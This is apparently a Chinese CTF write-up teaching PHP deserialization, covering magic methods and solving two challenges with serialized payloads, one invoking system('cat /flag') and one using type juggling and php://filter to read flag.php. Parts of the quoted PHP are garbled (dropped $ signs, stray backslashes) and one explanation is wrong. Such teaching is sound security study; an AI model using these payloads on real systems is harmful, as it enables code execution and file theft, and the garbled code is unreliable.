反序列化之PHP

PHP 反序列化原理:

---未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL 注入,目录遍历等不可控后果。

---其实跟文件解析差不多,都是由于传递的恶意参数被执行(序列化和反序列化相当于加解密过程)

---在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

---序列化函数:serialize() //将一个对象转换成一个字符串

---反序列化函数:unserialize() //将字符串还原成一个对象精简

#触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法(魔术方法触发条件:1.反序列化2.存在类2.类中存在魔术方法):

__construct()//创建对象时触发

__destruct() //对象销毁时触发

__call() //在对象 上下文中调用不可访问的方法时触发

__callStatic() //在静态 上下文中调用不可访问的方法时触发

__get() //用于从不可访问的属性读取数据

__set() //用于将数据写入不可访问的属性

__isset() //在不可访问的属性 上调**用 isset()或 empty()**触发

__unset() //在不可访问的属性 上使用**unset()**时触发

__invoke() //当脚本尝试将对象调用为函数时触发

其中:

__construct()//创建对象时触发

__destruct() //对象销毁时触发

__invoke() //当脚本尝试将对象调用为函数时触发这三个是经常被利用

1.没有class的情况下来尝试序列和反序列化

在本地从尝试:

简单代码:

复制代码
<?php
$obj=lllxxy;
echo serialize($obj)
?>

得到的结果是:s:6:"lllxxy";

这个的意思是说---string(字符串);变量长度为6;变量名"lllxxy"

再尝试反序列化(unserialize)

代码:注意要把之前的字符串全部复制然后用''单引号来实现,然后反序列化得到lllxxy对象

复制代码
<?php
$obj='s:6:"lllxxy";';
echo unserialize($obj)
?>

结果就是

2.含类的简单题--[SWPUCTF 2022 新生赛]1z_unserialize

题目描述

是很简单的反序列化噢

代码:

代码分析构造函数:因为a是一个函数,it赋值给他。然后lly是命令执行的命令,lly赋值到函数里面

我想直接system(6个字符)(cat/flag)(8个字符)应该能得到flag

<?php

class lyh{

public $url = 'NSSCTF.com';

public $lt="system";

public $lly="cat/flag";

}

$obj=new lyh();

echo serialize($obj);

?>

nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

得到flag:NSSCTF{0201933e-8941-4759-bae4-82c871d70634}

3.[网鼎杯 2020 青龙组]AreUSerialz

整体代码:

<?php

include("flag.php");

highlight_file(FILE);

class FileHandler {

protected $op;

protected $filename;

protected $content;

function __construct() {

$op = "1";

$filename = "/tmp/tmpfile";

$content = "Hello World!";

$this->process();

}

public function process() {

if($this->op == "1") {

$this->write();

} else if($this->op == "2") {

res = this->read();

this-\>output(res);

} else {

$this->output("Bad Hacker!");

}

}

private function write() {

if(isset(this-\>filename) \&\& isset(this->content)) {

if(strlen((string)$this->content) > 100) {

$this->output("Too long!");

die();

}

res = file_put_contents(this->filename, $this->content);

if(res) this->output("Successful!");

else $this->output("Failed!");

} else {

$this->output("Failed!");

}

}

private function read() {

$res = "";

if(isset($this->filename)) {

res = file_get_contents(this->filename);

}

return $res;

}

private function output($s) {

echo "[Result]: <br>";

echo $s;

}

function __destruct() {

if($this->op === "2")

$this->op = "1";

$this->content = "";

$this->process();

}

}

function is_valid($s) {

for(i = 0; i < strlen(s); i++)

if(!(ord(s\[i]) >= 32 && ord(s\[i]) <= 125))

return false;

return true;

}

if(isset($_GET{'str'})) {

str = (string)_GET['str'];

if(is_valid($str)) {

obj = unserialize(str);

}

}

(1)构造函数

构造函数在类被创建时调用,这里将op初始化为字符1,并初始化filename= "/tmp/tmpfile";和content="Hello World!";,最后调用process函数。

function __construct() {

$op = "1";

$filename = "/tmp/tmpfile";

$content = "Hello World!";

$this->process();

}

(2)process函数

判断op的值,如果op=1调用write函数,如果$op=2调用read函数,并output读取到的内容。

注意这里的比较是弱比较,也就是说比较的时候会自动把等号两边的变量类型转换为一样,只要我们将op置为数字2,那么这里的第二个if中的弱等于就会返回true,从而执行read函数,并将结果输出

public function process() {

if($this->op == "1") {

$this->write();

} else if($this->op == "2") {

res = this->read();

this-\>output(res);

} else {

$this->output("Bad Hacker!");

}

}

3)write函数

写入函数,可以执行写入文件的操作,判断传入的内容content的长度是否大于100。

res = file_put_contents(this->filename, $this->content);

filename表示要写入的文件,content表示要写入文件的内容。

private function write() {

if(isset(this-\>filename) \&\& isset(this->content)) {

if(strlen((string)$this->content) > 100) {

$this->output("Too long!");

die();

}

res = file_put_contents(this->filename, $this->content);

if(res) this->output("Successful!");

else $this->output("Failed!");

} else {

$this->output("Failed!");

}

}

(4)read函数

read函数执行写的功能,通过file_get_contents函数读取想要读取的文件,值得注意的是,读取的内容并不会直接输出,要想查看输出的内容需要查看源码,或者使用filter协议来进行读取。

这里我们可以知道,题目提示有flag.php文件,我们可以利用read函数来进行读取flag.php文件的内容。

private function read() {

$res = "";

if(isset($this->filename)) {

res = file_get_contents(this->filename);

}

return $res;

}

(5)destruct函数

在php中,destruct会在序列化的时候自动调用。

这里判断$op的值是否为字符2,这里的比较为强比较类型,如果为字符2,就将op置为字符1,并将content置为空。

通过前面的分析我们知道,read函数是通过process函数来调用的,如果op被置为1,就不会调用read函数,于是我们要绕过,可以将令op等于数字2,这样在强比较下,$this->op === "2"是不成立的,实现绕过。

function __destruct() {

if($this->op === "2")

$this->op = "1";

$this->content = "";

$this->process();

}

}

(6)is_vaild判断条件函数

用于判断传入的字符串s的每一个字符的ascii码值,是不是都在[32,125]这个区间内,如果是则返回true,不是则返回false;

function is_valid($s) {

for(i = 0; i < strlen(s); i++)

if(!(ord(s\[i]) >= 32 && ord(s\[i]) <= 125))

return false;

return true;

}

(7)传参判断条件

get方式传入str,判断str是否都是可打印的字符,如果是就将str反序列化。

看到这里我们已经有了解题的思路,即将序列化的内容传入str即可。

if(isset($_GET{'str'})) {

str = (string)_GET['str'];

if(is_valid($str)) {

obj = unserialize(str);

}

}

首先我们令op等于数字2,绕过destruct函数的的强比较。

在上面我们提到read函数当中的 file_get_contents不能直接显示read文件的内容,这里我们采用filter协议来读取文件内容。

最后得到payload: ?str=O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:52:"php://filter/convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}

<?php $flag='flag{c0aad4c3-81cd-48ca-bcd5-6c113ed144bd}';

相关推荐
雨落在了我的手上2 小时前
C语言入门(三十一):预处理详解(1)
c语言·开发语言
BD_Marathon2 小时前
关于JS和TS选择的问题
开发语言·javascript·ecmascript
YJlio3 小时前
Python 一键拆分 PDF:按“目录/章节”建文件夹 + 每页单独导出(支持书签识别&正文识别)
开发语言·python·pdf
池央3 小时前
IPIDEA赋能跨境电商:Amazon商品比价自动化采集实战
网络·自动化·php
IT方大同3 小时前
C语言进制转化
c语言·开发语言
野生风长3 小时前
从零开始的C语言:文件操作与数据存储(上)(文件的分类,文件的打开和关闭)
c语言·开发语言
catchadmin3 小时前
PHP 之高级面向对象编程 深入理解设计模式、原则与性能优化
设计模式·性能优化·php
我是哈哈hh3 小时前
【Python数据分析】数据可视化(全)
开发语言·python·信息可视化·数据挖掘·数据分析
拾贰_C3 小时前
【python| pytorch】卸载py库,手动法
开发语言·pytorch·python